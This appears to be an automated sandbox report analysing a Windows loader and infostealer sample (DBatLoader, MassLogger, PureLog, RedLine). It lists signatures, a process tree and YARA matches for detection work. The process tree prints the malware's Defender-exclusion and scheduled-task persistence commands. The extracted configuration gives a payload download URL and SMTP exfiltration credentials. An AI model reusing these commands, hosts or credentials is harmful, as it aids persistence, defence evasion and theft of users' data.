Edit tour

Windows Analysis Report
PO_B2W984.com

Overview

General Information

Sample name:	PO_B2W984.com
Analysis ID:	1583547
MD5:	f7d9ffe252e26320f26a76fc3f239c50
SHA1:	1b12238410d619f0797042ca0777d7c05b08f410
SHA256:	9654cbd553df628f50a99ec6f8b405901898c3c9eb99c8a3ba4fbd586290948b
Infos:

Detection

DBatLoader, MassLogger RAT, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Submitted file has a suspicious file extension

Yara detected DBatLoader

Yara detected MassLogger RAT

Yara detected PureLog Stealer

Yara detected Telegram RAT

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains very large strings

.NET source code references suspicious native API functions

Adds a directory exclusion to Windows Defender

Allocates many large memory junks

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to capture screen (.Net source)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Drops PE files with a suspicious file extension

Drops large PE files

Initial sample is a PE file and has a suspicious name

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample is not signed and drops a device driver

Sample uses process hollowing technique

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Sigma detected: Execution from Suspicious Folder

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Parent in Public Folder Suspicious Process

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (may stop execution after checking a module file name)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64native

PO_B2W984.com (PID: 5980 cmdline: "C:\Users\user\Desktop\PO_B2W984.com" MD5: F7D9FFE252E26320F26A76FC3F239C50)

cmd.exe (PID: 1684 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

rpkhzpuO.pif (PID: 5464 cmdline: C:\Users\Public\Libraries\rpkhzpuO.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)

Trading_AIBot.exe (PID: 1008 cmdline: "C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe" MD5: E91A1DB64F5262A633465A0AAFF7A0B0)

powershell.exe (PID: 6640 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

WmiPrvSE.exe (PID: 5628 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 7732 cmdline: "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" /st 20:52 /du 23:59 /sc daily /ri 1 /f MD5: 478BEAEC1C3A9417272BC8964ADD1CEE)

conhost.exe (PID: 6236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

apihost.exe (PID: 5652 cmdline: "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" MD5: 785BCB4933871B92E40A89544BFA615E)

Microsofts.exe (PID: 4824 cmdline: "C:\Users\user\AppData\Local\Temp\Microsofts.exe" MD5: F6B8018A27BCDBAA35778849B586D31B)

Oupzhkpr.PIF (PID: 3888 cmdline: "C:\Users\Public\Libraries\Oupzhkpr.PIF" MD5: F7D9FFE252E26320F26A76FC3F239C50)

cmd.exe (PID: 1420 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

rpkhzpuO.pif (PID: 5540 cmdline: C:\Users\Public\Libraries\rpkhzpuO.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)

Oupzhkpr.PIF (PID: 2840 cmdline: "C:\Users\Public\Libraries\Oupzhkpr.PIF" MD5: F7D9FFE252E26320F26A76FC3F239C50)

cmd.exe (PID: 1420 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

rpkhzpuO.pif (PID: 6980 cmdline: C:\Users\Public\Libraries\rpkhzpuO.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://lwaziacademy.com/wps/200_Oupzhkprnvw"]}

Threatname: MassLogger

{"EXfil Mode": "SMTP", "From": "server1@massmaesure.com", "Password": "london@1759", "Server": "lax029.hawkhost.com", "To": "server2@massmaesure.com", "Port": 587}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\Microsofts.exe	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
C:\Users\user\AppData\Local\Temp\Microsofts.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\Microsofts.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
C:\Users\user\AppData\Local\Temp\Microsofts.exe	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x15423:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x14921:$a3: \Google\Chrome\User Data\Default\Login Data 0x14c2f:$a4: \Orbitum\User Data\Default\Login Data 0x15a27:$a5: \Kometa\User Data\Default\Login Data

Memory Dumps

Source	Rule	Description	Author	Strings
00000013.00000002.23188607246.0000000030743000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000F.00000002.23112425454.000000002DA40000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000003.22965228435.000000002761C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000013.00000002.23176421665.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000000.00000003.22895700001.000000007FCD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000000F.00000003.23062543754.000000002B733000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000013.00000002.23190771291.0000000032F70000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000F.00000002.23100866629.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000F.00000001.23060773301.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000013.00000002.23191645092.00000000335E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000F.00000002.23114375641.000000002EA95000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000006.00000002.24180228176.0000000002DA8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xffcd:$a1: get_encryptedPassword 0x10309:$a2: get_encryptedUsername 0xfd5a:$a3: get_timePasswordChanged 0xfe7b:$a4: get_passwordField 0xffe3:$a5: set_encryptedPassword 0x119b3:$a7: get_logins 0x11664:$a8: GetOutlookPasswords 0x11442:$a9: StartKeylogger 0x11903:$a10: KeyLoggerEventArgs 0x1149f:$a11: KeyLoggerEventArgsEventHandler
0000000F.00000002.23111776153.000000002D593000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000001.22963397742.00000000017D0000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000013.00000003.23143070311.000000002E873000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000013.00000002.23190455309.0000000031995000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000013.00000001.23140173632.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000F.00000002.23115572603.00000000304E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.22967000001.0000000002436000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
Process Memory Space: Microsofts.exe PID: 4824	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: Microsofts.exe PID: 4824	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Microsofts.exe PID: 4824	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: Microsofts.exe PID: 4824	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x6ca23:$a1: get_encryptedPassword 0x6cd50:$a2: get_encryptedUsername 0x6c7c4:$a3: get_timePasswordChanged 0x6c8e5:$a4: get_passwordField 0x6ca39:$a5: set_encryptedPassword 0x6e3ab:$a7: get_logins 0x6e05c:$a8: GetOutlookPasswords 0x6de3a:$a9: StartKeylogger 0x6e2fb:$a10: KeyLoggerEventArgs 0x6de97:$a11: KeyLoggerEventArgsEventHandler
Click to see the 23 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
15.2.rpkhzpuO.pif.2d5d4e5e.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.rpkhzpuO.pif.335e0000.11.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.rpkhzpuO.pif.30783f56.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.rpkhzpuO.pif.32f70000.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.rpkhzpuO.pif.2da40f08.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.1.rpkhzpuO.pif.400000.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
19.2.rpkhzpuO.pif.31996478.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.rpkhzpuO.pif.2da40000.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.rpkhzpuO.pif.2d5d3f56.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.rpkhzpuO.pif.319d3d90.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.rpkhzpuO.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
15.2.rpkhzpuO.pif.2ea96478.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.1.rpkhzpuO.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
19.2.rpkhzpuO.pif.31995570.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.rpkhzpuO.pif.30784e5e.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.rpkhzpuO.pif.31996478.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.rpkhzpuO.pif.30783f56.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.3.rpkhzpuO.pif.2e8737c8.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.rpkhzpuO.pif.2d5d4e5e.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.rpkhzpuO.pif.2ead3d90.10.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.rpkhzpuO.pif.2ead3d90.10.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.3.rpkhzpuO.pif.2b733e10.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.rpkhzpuO.pif.32f70f08.10.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.1.rpkhzpuO.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
4.1.rpkhzpuO.pif.400000.2.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
15.2.rpkhzpuO.pif.304e0000.11.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.rpkhzpuO.pif.30784e5e.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.rpkhzpuO.pif.32f70000.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.1.rpkhzpuO.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
4.3.rpkhzpuO.pif.2761c6f8.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.rpkhzpuO.pif.2ea95570.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.1.rpkhzpuO.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 BD 88 44 24 2B 88 44 24 2F B0 48 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
19.2.rpkhzpuO.pif.335e0000.11.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
